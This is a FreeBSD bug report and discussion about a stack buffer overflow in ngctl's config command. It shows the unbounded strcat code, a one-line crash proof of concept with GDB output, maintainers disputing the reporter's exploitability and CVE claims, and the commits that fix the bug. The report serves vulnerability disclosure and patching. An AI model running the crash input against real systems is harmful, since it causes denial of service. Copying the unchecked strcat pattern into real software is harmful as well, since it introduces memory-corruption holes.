Bug 293075 - Stack-based buffer overflow in ngctl(8)
Summary: Stack-based buffer overflow in ngctl(8)
Status: Closed FIXED
Alias: None
Product: Base System
Classification: Unclassified
Component: bin (show other bugs)
Version: 14.3-RELEASE
Hardware: Any Any
: --- Affects Many People
Assignee: FreeBSD Security Team (mail alias)
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2026-02-10 01:21 UTC by Igor Gabriel S. Souza
Modified: 2026-02-18 01:53 UTC (History)
5 users (show)

See Also:


Attachments
ngctl config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)') (362.46 KB, image/png)
2026-02-10 01:21 UTC, Igor Gabriel S. Souza
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description Igor Gabriel S. Souza 2026-02-10 01:21:43 UTC
Created attachment 267934 [details]
ngctl config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)')

Dear FreeBSD Security Team,
I am reporting a stack-based buffer overflow in ngctl(8) that allows any user to crash (and potentially exploit to code execution) the binary, which is typically executed as root. 

I want register a CVE for this memory corruption vulnerability.


Vulnerability Details

File: usr.sbin/ngctl/config.c (function ConfigCmd)
Buffer: char buf[NG_TEXTRESPONSE]; → NG_TEXTRESPONSE == 1024
Vulnerable code (still present in current main branch – confirmed via cgit.freebsd.org):

Cchar buf[NG_TEXTRESPONSE];
*buf = '\0';
for (i = 2; i < ac; i++) {
    if (i != 2)
        strcat(buf, " ");
    strcat(buf, av[i]);        /* ← NO BOUNDS CHECKING */
}


Proof of Vulnerability (PoC + GDB)
Reproduction (any FreeBSD 13/14/15-CURRENT):

ngctl config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)')

Crash output:
textngctl: send msg: No such file or directory
Feb  9 18:39:10 hostname ngctl[980]: stack overflow detected; terminated
Abort trap (core dumped)


root@igor:~ # gdb ngctl -q
GEF for freebsd ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 15.1 [GDB v15.1 for FreeBSD] in 0.00ms using Python engine 3.11
Reading symbols from ngctl...
(No debugging symbols found in ngctl)
gef➤  r config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)')



[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x000000080111e644  →  "stack overflow detected; terminated"
$rcx   : 0x00000008012152da  →  <getpid+000a> jb 0x801215178
$rdx   : 0x0               
$rsp   : 0x00007fffffffcf88  →  0x00000008012188b0  →   mov edi, 0x7f
$rbp   : 0x00007fffffffcfd0  →  0x00007fffffffcfe0  →  0x00007fffffffd860  →  "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
$rsi   : 0x6               
$rdi   : 0x422             
$rip   : 0x000000080121545a  →  <kill+000a> jb 0x801215178
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x000000080182d4a8  →  0x0032302d00544d4c ("LMT"?)
$r12   : 0x00000008012cb950  →  0x64a4d3bb4ddc49a0
$r13   : 0x4               
$r14   : 0x00007fffffffcf90  →  0xffffffffffffffdf
$r15   : 0x2               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x43 $ss: 0x3b $ds: 0x3b $es: 0x3b $fs: 0x13 $gs: 0x1b 
────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffcf88│+0x0000: 0x00000008012188b0  →   mov edi, 0x7f	 ← $rsp
0x00007fffffffcf90│+0x0008: 0xffffffffffffffdf	 ← $r14
0x00007fffffffcf98│+0x0010: 0xffffffffffffffff
0x00007fffffffcfa0│+0x0018: 0x0000000000000000
0x00007fffffffcfa8│+0x0020: 0x0000000000000000
0x00007fffffffcfb0│+0x0028: 0x0000000000000000
0x00007fffffffcfb8│+0x0030: 0x0000000000000000
0x00007fffffffcfc0│+0x0038: 0x00007fffffffe497  →  0x414100796d6d7564 ("dummy"?)
──────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x801215450 <kill+0000>      mov    eax, 0x25
   0x801215455 <kill+0005>      mov    r10, rcx
   0x801215458 <kill+0008>      syscall 
 → 0x80121545a <kill+000a>      jb     0x801215178	NOT taken [Reason: !(C)]
   0x801215460 <kill+0010>      ret    
   0x801215461                  int3   
   0x801215462                  int3   
   0x801215463                  int3   
   0x801215464                  int3   
──────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x80121545a in kill (), reason: SIGABRT
────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80121545a → kill()
[#1] 0x8012188b0 → mov edi, 0x7f
[#2] 0x801218820 → __stack_chk_fail()
[#3] 0x1026e9b → int3 
──────────────────────



The overflow reaches the stack canary (and potentially saved return address/ebp) → confirmed stack smash.

root@igor:~ # uname -a
FreeBSD igor 14.3-RELEASE FreeBSD 14.3-RELEASE releng/14.3-n271432-8c9ce319fef7 GENERIC amd64


Impact

DoS → any user with access to ngctl can crash it.
Code execution → root binary + stack overflow. SSP prevents simple ROP, but bypasses exist (older builds, -fno-stack-protector, infoleak, etc.).
Common scenario: jails, monitoring scripts, or any system with netgraph enabled.

I want register a CVE for this memory corruption vulnerability

Credits:
Author: Igor Gabriel Sousa e Souza
Email: igor@bsdtrust.com
LinkedIn: https://www.linkedin.com/in/igo0r



Thanks!
Comment 1 Igor Gabriel S. Souza 2026-02-11 20:06:34 UTC
Hi, updates?


Best regards,
Comment 2 Mark Johnston freebsd_committer freebsd_triage 2026-02-11 21:29:36 UTC
https://reviews.freebsd.org/D55254

ngctl config is typically executed as root yes, but under what circumstances is it given untrusted input?  How can the bug be exploited?
Comment 3 Igor Gabriel S. Souza 2026-02-11 21:46:13 UTC
(In reply to Mark Johnston from comment #2)
Proof of Vulnerability (PoC + GDB)
Reproduction (any FreeBSD 13/14/15-CURRENT):

ngctl config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)')

Crash output:
textngctl: send msg: No such file or directory
Feb  9 18:39:10 hostname ngctl[980]: stack overflow detected; terminated
Abort trap (core dumped)(In reply to Mark Johnston from comment #2)



root@igor:~ # gdb ngctl -q
GEF for freebsd ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 15.1 [GDB v15.1 for FreeBSD] in 0.00ms using Python engine 3.11
Reading symbols from ngctl...
(No debugging symbols found in ngctl)
gef➤  r config dummy $(python3 -c 'print("A"*1200)') $(python3 -c 'print("B"*1200)')



[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x000000080111e644  →  "stack overflow detected; terminated"
$rcx   : 0x00000008012152da  →  <getpid+000a> jb 0x801215178
$rdx   : 0x0               
$rsp   : 0x00007fffffffcf88  →  0x00000008012188b0  →   mov edi, 0x7f
$rbp   : 0x00007fffffffcfd0  →  0x00007fffffffcfe0  →  0x00007fffffffd860  →  "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
$rsi   : 0x6               
$rdi   : 0x422             
$rip   : 0x000000080121545a  →  <kill+000a> jb 0x801215178
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x000000080182d4a8  →  0x0032302d00544d4c ("LMT"?)
$r12   : 0x00000008012cb950  →  0x64a4d3bb4ddc49a0
$r13   : 0x4               
$r14   : 0x00007fffffffcf90  →  0xffffffffffffffdf
$r15   : 0x2               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x43 $ss: 0x3b $ds: 0x3b $es: 0x3b $fs: 0x13 $gs: 0x1b 
────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffcf88│+0x0000: 0x00000008012188b0  →   mov edi, 0x7f	 ← $rsp
0x00007fffffffcf90│+0x0008: 0xffffffffffffffdf	 ← $r14
0x00007fffffffcf98│+0x0010: 0xffffffffffffffff
0x00007fffffffcfa0│+0x0018: 0x0000000000000000
0x00007fffffffcfa8│+0x0020: 0x0000000000000000
0x00007fffffffcfb0│+0x0028: 0x0000000000000000
0x00007fffffffcfb8│+0x0030: 0x0000000000000000
0x00007fffffffcfc0│+0x0038: 0x00007fffffffe497  →  0x414100796d6d7564 ("dummy"?)
──────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x801215450 <kill+0000>      mov    eax, 0x25
   0x801215455 <kill+0005>      mov    r10, rcx
   0x801215458 <kill+0008>      syscall 
 → 0x80121545a <kill+000a>      jb     0x801215178	NOT taken [Reason: !(C)]
   0x801215460 <kill+0010>      ret    
   0x801215461                  int3   
   0x801215462                  int3   
   0x801215463                  int3   
   0x801215464                  int3   
──────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x80121545a in kill (), reason: SIGABRT
────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80121545a → kill()
[#1] 0x8012188b0 → mov edi, 0x7f
[#2] 0x801218820 → __stack_chk_fail()
[#3] 0x1026e9b → int3 
──────────────────────

The overflow reaches the stack
Comment 4 Mark Johnston freebsd_committer freebsd_triage 2026-02-11 21:49:31 UTC
> The overflow reaches the stack

Right, I'm asking how it can be exploited, as you claim, given that the base system is compiled with SSP.
Comment 5 Igor Gabriel S. Souza 2026-02-11 21:55:35 UTC
(In reply to Mark Johnston from comment #4)
Hi, This could be exploited in certain scenarios, but it's still a DoS crash. I'd like to register a CVE for this stack-based overflow. :)
Comment 6 Dag-Erling Smørgrav freebsd_committer freebsd_triage 2026-02-11 22:35:27 UTC
1) In what scenario, precisely, could this be exploited, and to what end?

2) For a non-setugid command-line tool, crashing when given invalid input is functionally equivalent to printing an error and returning a non-zero exit code.

3) You do not “register a CVE”.  We (or another CNA) assign one if we decide that it is warranted, which does not appear to be the case here.

We've been through this song and dance before with dd(1) and quot(1), among other examples.  I would suggest getting a better understanding of the basics before trying to pass yourself off as a cybersecurity expert.
Comment 7 Mariusz Zaborski freebsd_committer freebsd_triage 2026-02-12 08:02:04 UTC
> Hi, This could be exploited in certain scenarios, but it's still a DoS crash. I'd like to register a CVE for this stack-based overflow. :)

You have to prove that a security boundary is being crossed. Loading a corrupted configuration as the root user is not really a boundary bypass.

As an example, I can have a invalid nginx.conf that never loads, which effectively causes a denial of service because Nginx will not start.

Of course, it is a bug and we want to fix it - but from your description is nothing else like providing user a information that the config file is invalid - but we most likely cannot classify it as a security issue if a privileged user is required to exploit it.

For this feature, please refer to the guidelines describing how we assess and interpret security issues:
https://www.freebsd.org/security/
Comment 8 Igor Gabriel S. Souza 2026-02-12 13:49:37 UTC
(In reply to Dag-Erling Smørgrav from comment #6)
That’s exactly what I’m doing, reporting, studying, learning and trying, I’m not passing myself as a security expert, idc about that, I just care about learn more about computer science, exploits, bugs and found it. Thanks god I have people like you guys to teach and inspire me :)
Comment 9 commit-hook freebsd_committer freebsd_triage 2026-02-13 16:02:02 UTC
A commit in branch main references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=59906a163e474c8d00bdebe226c4d47332b91bad

commit 59906a163e474c8d00bdebe226c4d47332b91bad
Author:     Dag-Erling Smørgrav <des@FreeBSD.org>
AuthorDate: 2026-02-13 15:57:50 +0000
Commit:     Dag-Erling Smørgrav <des@FreeBSD.org>
CommitDate: 2026-02-13 15:57:58 +0000

    ngctl: Fix buffer overflow in config command

    Keep track of our buffer length when assembling the argument list.

    PR:             293075
    MFC after:      1 week
    Reviewed by:    zlei, markj
    Differential Revision:  https://reviews.freebsd.org/D55259

 usr.sbin/ngctl/config.c | 22 ++++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)
Comment 10 Igor Gabriel S. Souza 2026-02-13 18:29:10 UTC
Please, give me the credits of the report on cgit; Igor Gabriel Sousa e Souza - igor@bsdtrust.com 


Thanks! :)
Comment 11 commit-hook freebsd_committer freebsd_triage 2026-02-17 23:58:55 UTC
A commit in branch stable/15 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=669347f67a07db17a8b1a748cbc05e859d8095cd

commit 669347f67a07db17a8b1a748cbc05e859d8095cd
Author:     Dag-Erling Smørgrav <des@FreeBSD.org>
AuthorDate: 2026-02-13 15:57:50 +0000
Commit:     Dag-Erling Smørgrav <des@FreeBSD.org>
CommitDate: 2026-02-17 23:11:48 +0000

    ngctl: Fix buffer overflow in config command

    Keep track of our buffer length when assembling the argument list.

    PR:             293075
    MFC after:      1 week
    Reviewed by:    zlei, markj
    Differential Revision:  https://reviews.freebsd.org/D55259

    (cherry picked from commit 59906a163e474c8d00bdebe226c4d47332b91bad)

 usr.sbin/ngctl/config.c | 22 ++++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)
Comment 12 commit-hook freebsd_committer freebsd_triage 2026-02-18 00:10:01 UTC
A commit in branch stable/14 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=e5bf728058da2b9cdc056e49bd82b57310588b3e

commit e5bf728058da2b9cdc056e49bd82b57310588b3e
Author:     Dag-Erling Smørgrav <des@FreeBSD.org>
AuthorDate: 2026-02-13 15:57:50 +0000
Commit:     Dag-Erling Smørgrav <des@FreeBSD.org>
CommitDate: 2026-02-17 23:12:02 +0000

    ngctl: Fix buffer overflow in config command

    Keep track of our buffer length when assembling the argument list.

    PR:             293075
    MFC after:      1 week
    Reviewed by:    zlei, markj
    Differential Revision:  https://reviews.freebsd.org/D55259

    (cherry picked from commit 59906a163e474c8d00bdebe226c4d47332b91bad)

 usr.sbin/ngctl/config.c | 22 ++++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)
Comment 13 commit-hook freebsd_committer freebsd_triage 2026-02-18 00:16:04 UTC
A commit in branch stable/13 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=2b11bbd790aca47bfd994863b03af7c7b4523e15

commit 2b11bbd790aca47bfd994863b03af7c7b4523e15
Author:     Dag-Erling Smørgrav <des@FreeBSD.org>
AuthorDate: 2026-02-13 15:57:50 +0000
Commit:     Dag-Erling Smørgrav <des@FreeBSD.org>
CommitDate: 2026-02-17 23:12:13 +0000

    ngctl: Fix buffer overflow in config command

    Keep track of our buffer length when assembling the argument list.

    PR:             293075
    MFC after:      1 week
    Reviewed by:    zlei, markj
    Differential Revision:  https://reviews.freebsd.org/D55259

    (cherry picked from commit 59906a163e474c8d00bdebe226c4d47332b91bad)

 usr.sbin/ngctl/config.c | 22 ++++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)
Comment 14 commit-hook freebsd_committer freebsd_triage 2026-02-18 01:53:18 UTC
A commit in branch releng/14.4 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=f16fc39527ee758aca81085c11e2b677895ee4e5

commit f16fc39527ee758aca81085c11e2b677895ee4e5
Author:     Dag-Erling Smørgrav <des@FreeBSD.org>
AuthorDate: 2026-02-13 15:57:50 +0000
Commit:     Colin Percival <cperciva@FreeBSD.org>
CommitDate: 2026-02-18 01:48:33 +0000

    ngctl: Fix buffer overflow in config command

    Keep track of our buffer length when assembling the argument list.

    PR:             293075
    MFC after:      1 week
    Reviewed by:    zlei, markj
    Differential Revision:  https://reviews.freebsd.org/D55259

    (cherry picked from commit 59906a163e474c8d00bdebe226c4d47332b91bad)
    (cherry picked from commit e5bf728058da2b9cdc056e49bd82b57310588b3e)

 usr.sbin/ngctl/config.c | 22 ++++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)